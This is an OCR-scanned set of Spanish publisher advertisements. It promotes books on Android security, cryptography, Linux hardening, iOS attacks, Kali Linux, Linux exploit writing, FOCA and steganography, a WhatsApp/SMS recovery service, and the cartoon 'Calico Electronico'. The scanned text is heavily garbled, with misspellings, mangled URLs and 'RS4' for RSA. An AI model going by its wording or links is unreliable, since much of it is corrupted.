creéis que el informético tiene la solucion para todo.

Pasa, pasa, y entérate de qué pasa por la cabeza de Wardog, un
administrador de sistemas renegado, con afan de venganza, con
maldad y con mala hostia.

Wardog y el mundo es el producto de afios de exposicién a lusers
dotados de estupidez toxica, de mala baba destilada y acidez de
estomago. Y café en cantidades malsanas,

Actualmente. el mundo de las aplicaciones maviles es uno de los
sectores que mas dinero mueve en el mercado de la informatica.
Tener conocimientos de programacién en estas plataformas
moviles es una garantia para poder encontrar empleo a dia de hoy.
“Desarrollo de aplicaciones Android seguras” pretende inculcar
al lector una base sdlida de conocimientos sobre programacion
en la plataforma mdvil con mayor cuota de mercado del mundo:
Andlroid. Mediante un enfoque eminentemente practico, el libro
guiard al lector en el desarrollo de las funcionalidades mas
demandadas a la hora de desarrollar una aplicacion movil. Ademais
se pretende educar al programador e introducirle en la utilizacion
de técnicas de disefio que modelen aplicaciones seguras, en la parte
de almacenamiento de datos v en la parte de comunicaciones.

Este libro se dedica especialmente a dos paradigmas de la
criptografia: la clasica y RS4. Ambos los trata a fondo con el
animo de convertirse en uno de los documentos mds completos en
esta temdtica, Para conseguir este trabajo el texto presentado toma
como referencia trabajo previe de los autores, complementandolo
y orientandolo para hacer su lectura mas asequible.

El téenico o experto en seguridad tendré especial interés por el
sistema RSA. aunque le venga muy bien recordar sus inicios en
la criptografia como texto de amena lectura y, por su parte, el
lector no experto en estos temas criptologicos pero si interesado,
seguramente le atraiga inicialmente la criptografia clasica por su
sencillez y sentido histérico.

Libros publicados

Hardening de servidores GNU/Linux

Este libro trata sobre la securizacion de entornos Linix siguiendo
el modelo de Defensa en Profundidad. Es decir, diferenciando la
infraestructura en diferentes capas que deberan ser configuradas
de forma adecuada, teniendo como principal objetive la
seguridad global que proporcionaran. Durante €l transcurso de
esta lectura se ofrecen bases tedricas, ejemplos de configuracion
y funcionamiento. ademas de buenas practicas para tratar de
mantener un entorno lo mas seguro posible. Sin duda, los entornoes
basados en Linux ofrecen una gran flexibilidad y opciones, por lo
que se ha optado por trabajar con las tecnologias mas comunes y
utilizadas. En definitiva, este libro se recomienda a todos aquellos
que deseen reforzar coneeptos, asi como para los que necesiten una
base desde la que partir a la hora de securizar un entorno Linux.

A dia de hoy se han vendido mas de 500 millones de dispositivos
i0S y aunque la seguridad del sistema ha mejorado con cada
versidn todavia se pueden encontrar vulnerabilidades a explotar,
Las auditorias de seguridad en empresas cada vez se encuentran con
mas dispositivos /S entre sus objetivos, ya que los empleados los
utilizan en sus puestos de trabajo, lo que hace que haya que pensar
en ellos como posibles riesgos de seguridad. En este libro se han
juntado un nutride grupo de expertos en seguridad en la materia
para recopilar en un fexto, todas las formas de atacar un terminal
iPhone o iPad de un usuario detereminado. Tras leer este libro, si
un determinado usuario tiene un iPhone o un iPad. seguro que al
lector se le ocurren muchas formas de conseguir la informacion
que en él se guarde o de controlar lo que con €l se hace.

Kali Linux ha renovado el espiritu y la estabilidad de backtrack
gracias a la agrupacidén y seleccidon de herramienias que son
utilizadas diariamente por miles de auditores. En Kali Linux se
han eliminado las herramientas que se encontraban descatalogadas
y se han afinado las versiones de las herramientas top. La
cantidad de estas es lo que situa a Keali Linux, como una de las
mejores distribuciones para auditorfa de seguridad del mundo.
El libro plantea un enfoque eminentemente practico, priorizando
los escenarios reproducibles. por el lector. y ensefiando el uso
de las herramientas mas utilizadas en el mundo de la auditoria
informatica. Keli Linux tiene la mision de sustituir a la distribucion
de seguridad por excelencia, y como se puede visualizar en este
libro tiene razones sobradas para lograrlo.
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Linux Exploiting

Técnicas de explotacién: de vulnerabifidades. en Linux
para la creacin de explolts

! Pentesting con
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Piths

steganografia
stegoanalisis

:‘:"Baniel Lerch

El exploiting cs el arte de converlir una vulnerabilidad o hrecha
de seguridad en una entrada real hacia un sistema ajeno. Cuando
cientos de noticias en la red hablan sobre “una posible ejecucion
de codigo arbitrario”, el exploiter es aquella persona capaz de
desarrollar todos los detalles téenicos y complejos elementos
que hacen realidad dicha afirmacion. El objetivo es provocar,
a través de un fallo de programacién, que una aplicacién haga
cosas para las que inicialmente no estaba disefiada, pudiendo
tomar asi posterior conirol sobre un sistema. Desde la perspectiva
de un hacker ético. este libro le brinda todas las habilidades
necesarias para adentrarse en el mundo del exploiting y hacking
de aplicaciones en el sistema operativo Linux. Conviértase en un
ninja de la seguridad. aprenda el Kung Fur de los hackers.

La herramienta FOCA es una utilidad pensada por pentesters que hacen
pentesting. Esto hace que la herramienta esté llena de opciones que te
seran de extremada utilidad si vas a necesitar hacer una auditoria de
seguridad a un sitio web o a lared de una empresa. FOCA estd basada en
la recoleccion de informacion de [uentes abiertas OSINT., y en esta titima
version se ponen a disposicion piblica todos los plugins y lunciones que
tenia la version PRO.

Ademds. en ecsta version. es posible ampliar la funcionalidad de 1a
herrmienta y extender las habilidades de FOCA mediante la creacidn de
plugins personalizados.

Las técnicas esteganograficas se inventaron hace miles de afios. en la
antigta China ya se empleaban para enviar mensajes ocullos entre
personas. Posteriormente, ya en la era de la Guerra Fria, vinieron los
micropuntos.

Las téenicas han ido evolucionando hasta llegar a nuestros dias. en los
que la teenologia digital ha hecho cambiar radicalmente todas estas
téenicas y utilizar los contenidos digitales para ocultar los mensajes.
La primera ocultacién se basd en el cambio del Gltimo bit, pero
ripidamente se desarrollaron téenicas novedosas que descubrian este
tipo de comunicacién. lo que las inutilizd. Lo que provocd dedicar
mas esfuerzos a desarrollar métodos que utilizaran operaciones y
transformadas matematicas sobre los contenidos digitales que se utilizan
como cobertura de los mensajes
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Recover Messages

Recover Messages es un servicio que permite examinar y recuperar datos de aplicaciones que utilizan
SOLite como base de datos. Dichas aplicaciones estdn incluidas en smartphones [Phone y Android
principalmente, ejemplos de ello son WhatsApp, Line, SpotBros etcetera,

Gracias a Recover Messages es posible inspeccionar y recuperar la informacién de ficheros SOLire
facilitados por el usuario, que seran tratados en nuestros sistemas o en los de nuestros proveedores
de sistemas de forma automatica, y totalmente confidencial. incluyendo por supuesto las medidas
de seguridad pertinentes.

Tanto la incorporacion de ficheros SQLife como la obtencion de los datos que dichos ficheros
almacenan, son guiados paso a paso con asistentes desde la propia web, lo que hace muy sencilla la
utilizacion de este servicio pionero.

El servicio tiene dos modalidades:
- Gratuito. En este caso el usuario tendra funcienalidades limitadas, siendo posible
Unicamente acceder a los mensajes WhatsApp de los dispositivos /Phone y Android.
- Con licencia. En este caso ¢l usuario tendra todas las [uncionalidades del servicio. gue
incluye ademas de las incluidas en la modalidad gratuita, la posibilidad de recuperar Mensajes
SMS'y Emails de [Phone y Android, ademas de los archivos utilizados con etras aplicaciones
de [Phone como Tuenti. SpatBros y Line.

El servicio estd disponible en castellano y en inglés en htip://recovermessages.com

Inicia Ayuda

i Recover Messages es un servicio que penmide examinar y (ecuperar datos de apicaciones que ulilizan SQLite como base de dalos.como WhalsApp, Line, SpalBros ete
Caracteristicas

A WhalsApp Android =) WhatsApp IPhone 2} TuenliIPhone i}

SpoiBros Phone. ¢ Line IPhone 2 SMSAndroid 2

SMSIPRone @ EMaisAndrod @ EMaisIPhone S
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Pantalla principal de Recover Messages.
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Calico Electronico

“Cedlico Electronico™ se ha convertido en la serie de animacion Flash mas famosa de Espaiia. En
clave de humor y con una animacion de gran calidad, Calico Elecirénico es un superhéroe "aspanol”
alejado totalmente del patron establecido en los superhéroes: Célico es bajito, gordo, y no tiene
ningun poder. Lo que si tiene es la fijacion de salvar a su ciudad "Electronico Cinv" de cualquier mal.

El origen de “Cdlico Electronico”™ [ue una campania de marketing de una web. No obstante, el éxito
que tuvo supero todas las expectativas y se cred una identidad propia, “Celico Electidnico™ ha hecho
famoso a su creador, Nikodemo, que a partir de entonces cred un estudio de animacién llamado
Nikodemo Animation. Tras los éxitos iniciales, la serie tuvo 3 temporadas de 6 capitulos cada una,
incluyéndose en ellas unas tomas falsas, al estilo de las peliculas eon actores reales. Ademds de
los capitulos oficiales se hicieron también capitulos especiales, y una serie paralela [lamada “Los
huérfanos electronicos™.

En la actualidad los fans de “Calico Electronico™ pueden acceder a multitud de productos de la
serie, ya que se han generado nuevos capitulos y se han reeditado los antiguos en alta calidad, dichos
capitulos estan disponibles para dispositivos [Phone, Windows Phone, Windows & o Android.
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Aplicacion de “Calico Electrénico™ para Windows Phone.

También ha aumentado la demanda de productos de Cdlico. como comics, 2FDs con los capitulos
de la serie, mufiecos, camisetas, tazas, barajas de cartas y un largo etcétera.

Calico Electronico

Ejemplos de productos de la tienda de Célico Electrdnico.

Otra novedad son las "Tiras Cdlico", que se corresponden a unas tiras comicas de 3 o 4 vifietas, al
estilo de otros personajes conocidos como Garfield o Mafalda. Dichas tiras aparecen cada miércoles
v lambién se pueden ver en los dispositivos mencionados. Ademas los fans tienen la posibilidad de
enviar sus fotos disfrazados de Cdlico, o enviar sus propios dibujos de este peculiar superhéroe.
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Ejemplode “Tira Céfico™,
Para que los fans estén informados, se mantienen varios canales abiertos sobre el preducto:
- Twitter: Attps.:/irwitter.com/CalicoOficial
- Google Plus: fttps./plus. Google.com/1071 8605712542296 1 6d4/posis
- Tuenti: fiip:/hwwwtuenti.com/calicoelectronico
- Youtube: hiip:/hovwwvoutibe.comicalicoelectronicohd

- Faeebook: hips://www facebook.coni/CalicoElectronicoOficial

Ademais de todo esto, y para mantener vivo el proyecto, se han realizado trabajos en el mundo de la
publicidad, visitado una docena de congresos y festivales de comic, se ha cerrado la ilustracion de
un libro que pronto saldrd a la venta y se ha firmado un nuevo comic con Ediciones Babvion que
esta a punto de ver la luz.

Toda la informacion acerca de “Calico Electrdnico™ y de los productos mencionados esta disponible
en fittp/www.calicoelectronico.com/



